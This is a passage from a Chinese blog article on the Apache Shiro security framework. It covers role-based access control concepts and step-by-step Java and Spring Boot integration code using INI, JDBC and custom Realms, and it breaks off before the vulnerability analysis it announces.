从 Shiro 底层源码看 Shiro 漏洞

2024-12-06 19:09:06 5 5865

从 Shiro 底层源码看 Shiro 漏洞

前言

Shiro 的漏洞已爆出很多年, 我们只关心到了它如何触发, 有时并没有想过这个框架是干嘛的, 甚至没有分析过该框架的底层运行逻辑, 那么本篇文章, 让大家从开发者的角度, 来观察 Shiro 漏洞.

从开发者为什么使用 Shiro, 到 Shiro 底层运行逻辑, 再到 Shiro 漏洞原理刨析.

并不会像某些文章一样, 只是把漏洞点点明一下, 用 Payload 打一下, 就说这个漏洞已经“研究明白”了.


本篇文章分为三个部分:

第一部分来介绍 Shiro 的基本使用, 清晰的感受到 Shiro 框架给程序员带来的便捷.

第二部分来介绍 Shiro 底层源码的分析, 感受该框架设计的精妙.

第三部分来介绍 Shiro 漏洞分析, 在这里我们会梳理底层源码分析的流程, 一步一步涉及到漏洞点的产生, 顺便记载一下 Shiro 的攻击姿势.

本篇文章目录如下:

image-20241019215104183.png

权限管理

概念

image-20241006163451124.png

为了实现不同身份登录系统, 出现的功能模块不一样. 这个需求叫做权限管理.

  • 学生登录后, 出现的功能模块为: 选课, 成绩查询, 课程表
  • 老师登陆后, 出现的功能模块为: 学生管理, 成绩录入

那么有了这个基础的概念之后, 我们再看一个比较复杂的权限管理案例:

image-20241006165849875.png

具体实现

第一种方式

image-20241006171521654.png

这种方式适用于权限管理比较单一, 用户少, 每类用户权限固定的场景. 根据不同的页面来实现功能不一致的情况.

这种方式的缺点则是, 假设需要在销售人员主页增加新的功能时, 我们需要修改index1.html页面内容, 增加上新的功能, 需要后期慢慢维护.

这种基于页面的开发, 是不建议的.

第二种方式

image-20241006192212959.png

这一种设计是RBAC (基于角色的访问控制)的基本原型, 也不是最终版本, 看起来已经实现动态的显示功能效果了. 但是这里会存在一个问题.

假设我们新增了一个Heihu577用户, 那么我们就需要在用户权限表中增加很多权限, 那么假设Heihu577用户所需要的权限与liucheng用户权限一致, 那么用户权限表中又需要给Heihu577用户分配很多权限id, 直到与用户liucheng的权限id是一致的, 这样大大减少了灵活性.


那么这里我们需要引入角色的概念, 角色是什么?我们不妨看下图进行理解.

image-20241006194328473.png

现在的权限分配, 是根据角色的, 我们只需要指明某个用户是某个角色, 即可得到该角色的具体权限. 而这么做的弊端则是, 假设A & B用户是同一角色, 而我们希望某一功能只给A用户而不给B用户, 这个时候怎么办呢?

image-20241006202455328.png

我们只需要增加一个用户权限表, 将额外的权限分配给具体用户即可, 当然随着业务逻辑的复杂, 我们的表也跟着复杂化了. 那么除了表结构的设计, 还需要我们程序设计的思想:

image-20241007135554675.png

而这里过滤器/拦截器部分我们也可以自己写流程, 判断当前是否是登录状态, 是否有SESSION等. 当我们考虑不全面时程序也可能出现BUG.

而这种情况我们也可以选择使用安全框架, 帮助我们在应用系统开发过程完成认证以及授权的工作. 而安全框架类似于一个保安的角色:

image-20241007140346688.png

这是一个演唱会的案例, 根据你的门票类别, 到达具体的座位, 当然这一切都需要你去告诉这个保安如何匹配规则, 换到程序里, 我们也仅仅做一个配置即可. 而这里我们就可以选择使用 Shiro, Shiro 就做了这些事情, 类似于 Shiro 的框架还有很多, Spring Security, OAuth2等.

Shiro

Shiro 的核心功能如下:

image-20241007141857444.png

Authentication 认证: 验证用户是否有相应的身份 - 登录认证.

Authorization 授权: 对已经通过认证的用户, 检查是否具有某个权限, 或者角色, 从而控制是否能够进行某种操作.

Session Management 会话管理功能: 用户认证成功后创建会话, 在没有退出之前, 当前用户所有信息都保存至当前会话中 (具备 SESSION 功能), 可以在 Java SE 中使用.

Cryptography 密码管理: 对敏感信息进行加密.

支持的特性:

  • Web Support: Shiro 提供了过滤器, 可以通过过滤器拦截 Web 请求来处理 Web 应用的访问控制.

  • Caching 缓存支持: Shiro 可以缓存用户信息以及用户的角色权限信息, 可以提高执行效率.

  • Concurrency: Shiro 支持多线程应用.

  • Testing: 提供测试功能.

  • Run As: 允许一个用户以另一种身份去访问.

  • Remember Me: 记住密码功能.

Shiro 是一个安全框架, 不提供用户权限的维护. 用户的权限管理需要我们自己去设计.

Shiro 核心组件

Shiro 的运行流程为如下:

image-20241007150213823.png

这里 Subject 的创建是由 SecurityUtils 进行创建的, 后面我们代码会给出案例, 官方给出的图如下:

image-20241007150235043.png

基于 Java SE 基本使用

在pom.xml文件中进行引入依赖:

<dependencies>
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.4.1</version>
    </dependency>
</dependencies>

因为本次的Realm从文件中获取数据, 所以这里创建/resources/shiro.ini文件, 内容如下:

[users] # 定义两个用户信息 用户名=密码,角色1,角色2...
heihuUser=heihuPass,seller # 账号名:heihuUser 密码:heihuPass 销售人员
hacker=123456,ckmgr # 账号名:hacker 密码:123456 仓管人员
admin=admin888,admin # 账号名: admin888 密码: admin888

[roles] # 定义角色与对应的权限 角色名=权限1,权限2,权限3...
seller=order-add,order-del,order-list # 销售人员的权限
ckmgr=ck-add,ck-del,ck-list # 仓管人员权限
admin=* # * 表示所有权限

这里的注释在实际运行代码时, 要将其删掉, 否则将报错!

随后我们创建测试程序:

Scanner scanner = new Scanner(System.in); // 接收外部传递来的账号密码
System.out.print("请输入用户名: ");
String username = scanner.nextLine();
System.out.print("请输入密码: ");
String password = scanner.nextLine();

DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager(); // 准备 SecurityManager
defaultSecurityManager.setRealm(new IniRealm("classpath:shiro.ini")); // 设置 Realm
SecurityUtils.setSecurityManager(defaultSecurityManager); // 将 SecurityManager 设置到 SecurityUtils 工具类中
Subject subject = SecurityUtils.getSubject(); // 通过 SecurityUtils 获取 subject 对象

System.out.println(subject.isAuthenticated()); // 判断 subject 是否通过认证, 这里是 false
subject.login(new UsernamePasswordToken(username, password)); // 通过 subject对象.login 进行认证, 通过账号密码进行认证, 认证失败则抛出异常
System.out.println(subject.isAuthenticated()); // 判断 subject 是否通过认证, 如果登录成功, 这里为 true, 如果登陆失败, 上一行代码已经抛出异常了.

由于登录失败会抛出异常, 所以我们这里可以使用try-catch进行捕获, 加入到我们的业务逻辑中:

Scanner scanner = new Scanner(System.in); // 接收外部传递来的账号密码
System.out.print("请输入用户名: ");
String username = scanner.nextLine();
System.out.print("请输入密码: ");
String password = scanner.nextLine();

DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager(); // 准备 SecurityManager
defaultSecurityManager.setRealm(new IniRealm("classpath:shiro.ini")); // 设置 Realm
SecurityUtils.setSecurityManager(defaultSecurityManager); // 将 SecurityManager 设置到 SecurityUtils 工具类中
Subject subject = SecurityUtils.getSubject(); // 通过 SecurityUtils 获取 subject 对象

try {
    subject.login(new UsernamePasswordToken(username, password)); // 通过 subject对象.login 进行认证, 通过账号密码进行认证, 认证失败则抛出异常
    System.out.println("登陆成功!");
} catch (IncorrectCredentialsException e) {
    System.out.println("登陆失败!");
} catch (UnknownAccountException e) {
    System.out.println("用户名不存在!");
}
// 如果看注释吃力, 可以根据 《Shiro 核心组件》中的流程进行理解

当然了, 登录成功后, 我们可以判断当前的角色是什么角色, 也可以判断当前的用户是否具备某个权限:

Scanner scanner = new Scanner(System.in); // 接收外部传递来的账号密码
System.out.print("请输入用户名: ");
String username = scanner.nextLine();
System.out.print("请输入密码: ");
String password = scanner.nextLine();

DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager(); // 准备 SecurityManager
defaultSecurityManager.setRealm(new IniRealm("classpath:shiro.ini")); // 设置 Realm
SecurityUtils.setSecurityManager(defaultSecurityManager); // 将 SecurityManager 设置到 SecurityUtils 工具类中
Subject subject = SecurityUtils.getSubject(); // 通过 SecurityUtils 获取 subject 对象

try {
    subject.login(new UsernamePasswordToken(username, password)); // 通过 subject对象.login 进行认证, 通过账号密码进行认证, 认证失败则抛出异常
    System.out.println("登陆成功!");
    System.out.println(subject.hasRole("seller")); // 判断角色: hacker 登录后返回 false, heihuUser | admin 登录后返回 true
    System.out.println(subject.isPermitted("order-del")); // 判断权限: 当前用户是否由 order-del 权限, heihuUser 登录返回 true, hacker 登录返回 false
} catch (IncorrectCredentialsException e) {
    System.out.println("登陆失败!");
} catch (UnknownAccountException e) {
    System.out.println("用户名不存在!");
}

其中流程如下:

image-20241007174301593.png

而IniRealm只不过是实现了AuthorizingRealm接口, Shiro框架提供出来了罢了, 其中IniRealm实现了doGetAuthorizationInfo & doGetAuthenticationInfo方法, 这两个方法会根据传递过来的token类型来进入到具体的方法.

SpringBoot 整合 Shiro

IniRealm

如果我们想在SpringBoot中进行使用Shiro, 那么我们肯定是需要围绕如下环节进行研究.

创建 pom.xml:

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.5.3</version>
</parent>

<dependencies>
    <dependency> <!-- 导入 shiro-spring, 会自动引入 shiro-core, shiro-web -->
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.4.1</version>
    </dependency>
    <dependency> <!-- springboot 没有提供对 shiro 的自动配置, shiro 的自动配置需手动完成 -->
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency> <!-- 引入 thymeleaf 模板引擎 -->
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-thymeleaf</artifactId>
    </dependency>
    <dependency> <!-- 引入 lombok -->
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
    </dependency>
    <dependency> <!-- 引入 druid-spring-boot-starter, 自动配置 Druid -->
        <groupId>com.alibaba</groupId>
        <artifactId>druid-spring-boot-starter</artifactId>
        <version>1.1.17</version>
    </dependency>
    <dependency> <!-- 会自动引入 mybatis, mybatis-spring, spring-boot-starter-jdbc -->
        <groupId>org.mybatis.spring.boot</groupId>
        <artifactId>mybatis-spring-boot-starter</artifactId>
        <version>2.2.2</version>
    </dependency>
    <dependency> <!-- 引入 mysql 扩展 -->
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.28</version>
    </dependency>
    <dependency> <!-- 引入 SpringBoot 测试依赖 -->
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
    </dependency>
</dependencies>

创建/resources/application.yml:

server: # 设置启动端口
  port: 80

spring:
  thymeleaf: # 设置 thymeleaf 模板存放位置
    prefix: "classpath:/templates/"
    suffix: ".html"
  datasource:
    druid: # 设置数据库连接
      url: jdbc:mysql://localhost:3306/shiro?useSSL=true&characterEncoding=utf-8&useUnicode=true
      username: root
      password: root
      driver-class-name: com.mysql.cj.jdbc.Driver
  mvc:
    static-path-pattern: /static/** # 设置静态资源访问路径
  web:
    resources:
      static-locations: classpath:/static/** # 设置静态资源保存目录

mybatis:
  mapper-locations: classpath:mappers/*.xml # 设置 mybatis mapper文件存放位置, 用于扫描
  type-aliases-package: com.heihu577.bean # 设置 JavaBean 存放位置

定义com.heihu577.MainApp类:

@SpringBootApplication
public class MainApp {
    public static void main(String[] args) {
        ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class, args);
    }
}

因为Shiro需要我们手动配置, 所以我们定义com.heihu577.config.ShiroAutoConfiguration类如下:

@Configuration
public class ShiroAutoConfiguration {
    @Bean
    public IniRealm getIniRealm() { // 先使用 IniReal 做演示
        IniRealm iniRealm = new IniRealm("classpath:shiro.ini");
        /* classpath:shiro.ini 文件内容如下:
            [users]
            heihuUser=heihuPass,seller
            hacker=123456,ckmgr
            admin=admin888,admin

            [roles]
            seller=order-add,order-del,order-list
            ckmgr=ck-add,ck-del,ck-list
            admin=*
        */
        return iniRealm;
    }

    @Bean
    public SecurityManager getSecurityManager(IniRealm iniRealm) {
        DefaultWebSecurityManager defaultWebSecurityManager = new DefaultWebSecurityManager();
        defaultWebSecurityManager.setRealm(iniRealm); // 要想完成校验, 需要 Realm
        // SecurityUtils.setSecurityManager(defaultWebSecurityManager); // 设置 SecurityUtils 下的 SecurityManager
        return defaultWebSecurityManager;
    }

    @Bean
    public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
        ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean(); // 准备一个拦截器, 用于拦截用户请求
        shiroFilterFactoryBean.setSecurityManager(securityManager); // 进行数据校验的核心是 SecurityManager, 所以这里需要配置 SecurityManager
        // 配置拦截规则...
        HashMap<String,String> filterMap = new HashMap();
        filterMap.put("/", "anon"); // anon 匿名用户可访问
        filterMap.put("/login", "anon"); // 对 login.html 不拦截
        filterMap.put("/register", "anon"); // 对 register.html 不拦截
        filterMap.put("/user/login", "anon");
        filterMap.put("/**", "authc"); // authc 认证用户可访问
        filterMap.put("/static/**", "anon"); // 对 /static/** 都不拦截
        // user: 使用 RememberMe 用户可访问
        // perms: 对应权限可访问
        // role: 对应角色可访问
        shiroFilterFactoryBean.setFilterChainDefinitionMap(filterMap); // 将规则设置进来
        shiroFilterFactoryBean.setLoginUrl("/login"); // 设置默认的登录界面
        shiroFilterFactoryBean.setUnauthorizedUrl("/"); // 设置未授权访问的跳转URL
        return shiroFilterFactoryBean;
    }
}

随后定义com.heihu577.controller.PageController && com.heihu577.controller.UserController控制器如下:

@Controller
public class PageController {
    @RequestMapping(value = {"/"})
    public String index() {
        return "index"; // 跳转 thymeleaf 下的 index.html 模板引擎
    }

    @RequestMapping("/login")
    public String login() {
        return "login";
    }
}
@Controller
@RequestMapping("/user")
public class UserController {
    @Resource
    private UserServiceImpl userService; // 自动注入 userService

    @PostMapping("/login")
    public String login(String username, String password) {
        try {
            userService.login(username, password);
            System.out.println("登陆成功!");
            return "index"; // 登录成功去 index 页面.
        } catch (Exception e) { // 使用 try-catch 进行判断登录状态
            System.out.println("登录失败!");
            return "login"; // 登录失败去 login 页面, 若想要注入数据, 使用 Model 即可
        }
    }
}

定义两个模板如下:

<!-- index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>主页</title>
</head>
<body>
    <h1>Hello World!</h1>
</body>
</html>
<!-- login.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>登录表单</title>
</head>
<body>
    <form action="/user/login" method="post">
        u: <input type="text" name="username"/><br>
        p: <input type="password" name="password"/><br>
        <input type="submit">
    </form>
</body>
</html>

定义com.heihu577.service.UserServiceImpl如下:

@Service
public class UserServiceImpl {
    public void login(String username, String password)  throws Exception { // 登陆失败会抛出异常, 登陆成功没返回值
        UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
        Subject subject = SecurityUtils.getSubject();
        subject.login(usernamePasswordToken); // 发送登录请求.
    }
}

最终可以实现用户登录, 判断账号密码是否正确. 当前为了学习方便, 使用了 IniRealm 进行演示, 其中思路如下.

image-20241008121529770.png

而如果我们想要使用JdbcRealm, 那么我们则需要配置相应的Realm.

JdbcRealm

其中JdbcRealm需要创建如下表结构:

CREATE TABLE `users`(
    id int primary key auto_increment,
    username varchar(60) not null unique,
    password varchar(60) not null,
    password_salt varchar(20)
);
-- 创建五个用户如下
INSERT INTO `users`(username, password) VALUES('zhangsan', '123456');
INSERT INTO `users`(username, password) VALUES('lisi', '123456');
INSERT INTO `users`(username, password) VALUES('wangwu', '123456');
INSERT INTO `users`(username, password) VALUES('zhaoliu', '123456');
INSERT INTO `users`(username, password) VALUES('chenqi', '123456');

CREATE TABLE `user_roles`(
    id int primary key auto_increment,
    username varchar(60) not null,
    role_name varchar(100) not null
);
-- 给这五个用户分别增加如下角色
-- admin 系统管理人员
-- cmanager 库管人员
-- xmanager 销售人员
-- kmanager 客服人员
-- zmanager 行政人员
INSERT INTO `user_roles`(username, role_name) VALUES('zhangsan', 'admin');
INSERT INTO `user_roles`(username, role_name) VALUES('lisi', 'cmanager');
INSERT INTO `user_roles`(username, role_name) VALUES('wangwu', 'xmanager');
INSERT INTO `user_roles`(username, role_name) VALUES('zhaoliu', 'kmanager');
INSERT INTO `user_roles`(username, role_name) VALUES('chenqi', 'zmanager');

CREATE TABLE `roles_permissions`(
    id int primary key auto_increment,
    role_name varchar(100) not null,
    permission varchar(100) not null
);
-- admin 具备所有权限
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("admin", "*");
-- 库管人员具备的权限
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("cmanager", "sys:c:save");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("cmanager", "sys:c:delete");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("cmanager", "sys:c:update");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("cmanager", "sys:c:find");
-- 销售人员具备的权限
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:c:find");

INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:x:save");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:x:delete");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:x:update");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:x:find");

INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:k:save");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:k:delete");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:k:update");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("xmanager", "sys:k:find");
-- 客服人员所具备的权限
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("kmanager", "sys:k:update");
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("kmanager", "sys:k:find");
-- 行政人员
INSERT INTO `roles_permissions`(`role_name`,`permission`) VALUES("zmanager", "sys:*:find");

当前表结构如果想要查询具体用户是否具有某种权限的话, 关系如下:

image-20241008154258677.png

那么此时我们修改ShiroAutoConfiguration类代码如下:

@Configuration
public class ShiroAutoConfiguration {
//    @Bean
//    public IniRealm getIniRealm() { // 先使用 IniReal 做演示
//        IniRealm iniRealm = new IniRealm("classpath:shiro.ini");
//        return iniRealm;
//    }

    @Bean
    public JdbcRealm getJdbcRealm(DataSource dataSource) {
        JdbcRealm jdbcRealm = new JdbcRealm();
        jdbcRealm.setDataSource(dataSource); // druid-spring-boot-starter 已经配置好了, 直接引用即可
        jdbcRealm.setPermissionsLookupEnabled(true); // 默认开启认证功能, 需手动开启授权功能
        return jdbcRealm;
    }


    @Bean
    public SecurityManager getSecurityManager(JdbcRealm ream) {
        DefaultWebSecurityManager defaultWebSecurityManager = new DefaultWebSecurityManager();
        defaultWebSecurityManager.setRealm(ream); // 要想完成校验, 需要 Realm
        // SecurityUtils.setSecurityManager(defaultWebSecurityManager); // 设置 SecurityUtils 下的 SecurityManager
        return defaultWebSecurityManager;
    }

    @Bean
    public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
        ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
        shiroFilterFactoryBean.setSecurityManager(securityManager);

        HashMap<String,String> filterMap = new HashMap();
        filterMap.put("/", "anon");
        filterMap.put("/login", "anon");
        filterMap.put("/register", "anon");
        filterMap.put("/user/login", "anon");
        filterMap.put("/**", "authc");
        filterMap.put("/static/**", "anon");

        shiroFilterFactoryBean.setFilterChainDefinitionMap(filterMap); // 将规则设置进来
        shiroFilterFactoryBean.setLoginUrl("/login"); // 设置默认的登录界面
        shiroFilterFactoryBean.setUnauthorizedUrl("/"); // 设置未授权访问的跳转URL
        return shiroFilterFactoryBean;
    }
}

修改完具体Realm后, 我们的功能也成功生效了.

Shiro 标签使用

当我们登录成功后, 需要显示当前用户信息, 以及对应的权限功能入口, Shiro 提供了一套标签, 可以应用于 Thymeleaf, jsp 中。

当前我们的环境是 Thymeleaf, 所以我们必须在pom.xml中导入依赖:

<dependency> <!-- 引入 shiro 标签依赖 -->
    <groupId>com.github.theborakompanioni</groupId>
    <artifactId>thymeleaf-extras-shiro</artifactId>
    <version>2.1.0</version>
</dependency>

随后我们需要在我们的配置类中定义一个Bean:

@Bean
public ShiroDialect getShiroDialect() {
    return new ShiroDialect();
}

随后我们在具体模板中进行声明引用即可:

<html lang="en" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">

修改/resources/templates/index.html文件内容如下:

<!DOCTYPE html>
<html lang="en" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
<head>
    <meta charset="UTF-8">
    <title>主页</title>
</head>
<body>
<shiro:guest>
    欢迎游客访问 | <a href="/login">登录</a> <!-- 当用户没有登录时会显示该内容 -->
</shiro:guest>
<shiro:user>
    欢迎用户名为: <shiro:principal/> 的用户访问! <br> <!-- 当前已经登陆成功的状态, 会显示该内容 <shiro:principal/> 获取当前用户名 -->
    <hr>
    当前用户角色为:
    <shiro:hasRole name="admin"> 超级管理员</shiro:hasRole> <!-- 判断当前的角色 -->
    <shiro:hasRole name="cmanager"> 库管人员</shiro:hasRole>
    <shiro:hasRole name="xmanager"> 销售人员</shiro:hasRole>
    <shiro:hasRole name="kmanager"> 客服人员</shiro:hasRole>
    <shiro:hasRole name="zmanager"> 行政人员</shiro:hasRole>
    <hr>
    <br>当前所拥有的权限为: <br>
    <hr>
    仓库管理
    <ul>
        <shiro:hasPermission name="sys:c:save"><li><a href="#">入库</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:c:delete"><li><a href="#">出库</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:c:update"><li><a href="#">更新仓库</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:c:find"><li><a href="#">查找仓库</a></li></shiro:hasPermission>
    </ul>
    <hr>
    销售管理
    <ul>
        <shiro:hasPermission name="sys:x:save"><li><a href="#">保存订单</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:x:delete"><li><a href="#">删除订单</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:x:update"><li><a href="#">更新订单</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:x:find"><li><a href="#">查询订单</a></li></shiro:hasPermission>
    </ul>
    客户管理
    <ul>
        <shiro:hasPermission name="sys:k:save"><li><a href="#">新增客户</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:k:delete"><li><a href="#">删除客户</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:k:update"><li><a href="#">修改客户</a></li></shiro:hasPermission>
        <shiro:hasPermission name="sys:k:find"><li><a href="#">查询客户</a></li></shiro:hasPermission>
    </ul>
</shiro:user>
</body>
</html>

不同用户登录效果:

image-20241008180754620.png

自定义 Realm

在真正的项目中, 我们不会使用Shiro提供的JdbcRealm, 而是使用自定义Realm, 配合我们的MyBatis, 以及自定义表结构进行联合使用.

image-20241008184622995.png

表结构定义

那么下面我们来定义这些表:

-- 用户信息表
CREATE TABLE `tb_users`(
    user_id int unsigned primary key auto_increment,
    username varchar(60) not null unique,
    password varchar(60) not null,
    password_salt varchar(60)
);
INSERT INTO `tb_users`(username, password) VALUES('zhangsan', '123456');
INSERT INTO `tb_users`(username, password) VALUES('lisi', '123456');
INSERT INTO `tb_users`(username, password) VALUES('wangwu', '123456');
INSERT INTO `tb_users`(username, password) VALUES('zhaoliu', '123456');
INSERT INTO `tb_users`(username, password) VALUES('chenqi', '123456');

-- 角色信息表
CREATE TABLE `tb_roles`(
    role_id int unsigned primary key auto_increment,
    role_name varchar(60) not null
);
INSERT INTO `tb_roles`(role_name) VALUES('admin'); -- 系统管理员
INSERT INTO `tb_roles`(role_name) VALUES('cmanager'); -- 仓管
INSERT INTO `tb_roles`(role_name) VALUES('xmanager'); -- 销售
INSERT INTO `tb_roles`(role_name) VALUES('kmanager'); -- 客服
INSERT INTO `tb_roles`(role_name) VALUES('zmanager'); -- 行政

-- 权限信息表
CREATE TABLE `tb_permissions`(
    permission_id int primary key auto_increment,
    permission_code varchar(60) not null,
    permission_name varchar(60)
);
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:c:save", "入库");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:c:delete", "出库");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:c:update", "修改");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:c:find", "查询");

INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:x:save", "新增订单");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:x:delete", "删除订单");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:x:update", "修改订单");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:x:find", "查询订单");

INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:k:save", "新增客户");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:k:delete", "删除客户");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:k:update", "修改客户");
INSERT INTO `tb_permissions`(`permission_code`,`permission_name`) VALUES("sys:k:find", "查询客户");

-- 用户角色表
CREATE TABLE `tb_urs`(
    uid int not null,
    rid int not null
);
INSERT INTO `tb_urs` VALUES(1,1); -- 第1个用户是第1个角色 (zhangsan 是 admin 角色)
INSERT INTO `tb_urs` VALUES(2,2);
INSERT INTO `tb_urs` VALUES(3,3);
INSERT INTO `tb_urs` VALUES(4,4);
INSERT INTO `tb_urs` VALUES(5,5);

-- 角色权限表
CREATE TABLE `tb_rps`(
    rid int not null,
    pid int not null
);
INSERT INTO `tb_rps` VALUES(2,1); -- 仓库管理员拥有四个权限
INSERT INTO `tb_rps` VALUES(2,2);
INSERT INTO `tb_rps` VALUES(2,3);
INSERT INTO `tb_rps` VALUES(2,4);
INSERT INTO `tb_rps` VALUES(3,5); -- 销售人员具有九个权限, 包含客服人员的权限, 以及仓库查询权限
INSERT INTO `tb_rps` VALUES(3,4);
INSERT INTO `tb_rps` VALUES(3,6);
INSERT INTO `tb_rps` VALUES(3,7);
INSERT INTO `tb_rps` VALUES(3,8);
INSERT INTO `tb_rps` VALUES(3,9);
INSERT INTO `tb_rps` VALUES(3,10);
INSERT INTO `tb_rps` VALUES(3,11);
INSERT INTO `tb_rps` VALUES(3,12);
INSERT INTO `tb_rps` VALUES(4,11); -- 客服人员具有两个权限, 查询和修改
INSERT INTO `tb_rps` VALUES(4,12);
INSERT INTO `tb_rps` VALUES(5,12); -- 行政人员具备所有查询功能
INSERT INTO `tb_rps` VALUES(5,8);
INSERT INTO `tb_rps` VALUES(5,4);

由于是自定义Realm, 所以查询数据的操作应该由我们自己手动完成, 所以这里我们应该配合我们的MyBatis进行查询数据信息.

DAO 设计

因为我们需要从数据库中拿数据, 那么我们这里可以参考一下JdbcRealm做了什么:

public class JdbcRealm extends AuthorizingRealm {
   protected static final String DEFAULT_AUTHENTICATION_QUERY = "select password from users where username = ?";
    protected static final String DEFAULT_SALTED_AUTHENTICATION_QUERY = "select password, password_salt from users where username = ?";
    // ↑ 根据用户名查询用户信息
    protected static final String DEFAULT_USER_ROLES_QUERY = "select role_name from user_roles where username = ?";
    // ↑ 查询具体用户名的角色名称
    protected static final String DEFAULT_PERMISSIONS_QUERY = "select permission from roles_permissions where role_name = ?";
    // ↑ 根据角色名查询权限列表
}

当然如果我们想要自定义Realm, 我们也需要制定这些业务场景的查询语句. 为了使用我们的 MyBatis 联动 Realm, 这里我们重新建立一个干净的项目.

引入依赖:

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId> <!-- 引入 parent -->
    <version>2.5.3</version>
</parent>
<dependencies>
    <dependency> <!-- 导入 shiro-spring, 会自动引入 shiro-core, shiro-web -->
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.4.1</version>
    </dependency>
    <dependency> <!-- springboot 没有提供对 shiro 的自动配置, shiro 的自动配置需手动完成 -->
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency> <!-- 引入 thymeleaf 模板引擎 -->
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-thymeleaf</artifactId>
    </dependency>
    <dependency> <!-- 引入 lombok -->
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
    </dependency>
    <dependency> <!-- 引入 druid-spring-boot-starter, 自动配置 Druid -->
        <groupId>com.alibaba</groupId>
        <artifactId>druid-spring-boot-starter</artifactId>
        <version>1.1.17</version>
    </dependency>
    <dependency> <!-- 引入 shiro 标签依赖 -->
        <groupId>com.github.theborakompanioni</groupId>
        <artifactId>thymeleaf-extras-shiro</artifactId>
        <version>2.1.0</version>
    </dependency>
    <dependency> <!-- 会自动引入 mybatis, mybatis-spring, spring-boot-starter-jdbc -->
        <groupId>org.mybatis.spring.boot</groupId>
        <artifactId>mybatis-spring-boot-starter</artifactId>
        <version>2.2.2</version>
    </dependency>
    <dependency> <!-- 引入 mysql 扩展 -->
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.28</version>
    </dependency>
    <dependency> <!-- 引入 SpringBoot 测试依赖 -->
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
    </dependency>
</dependencies>

application.yml:

server:
  port: 80

mybatis:
  type-aliases-package: com.heihu577.bean
  mapper-locations: classpath:mappers/*.xml

spring:
  datasource:
    druid:
      url: jdbc:mysql://localhost:3306/shiro2?useSSL=true&useUnicode=true&characterEncoding=utf-8
      username: root
      password: root
      driver-class-name: com.mysql.cj.jdbc.Driver

定义Bean:

package com.heihu577.bean;

@Data
public class User {
    private Integer userId;
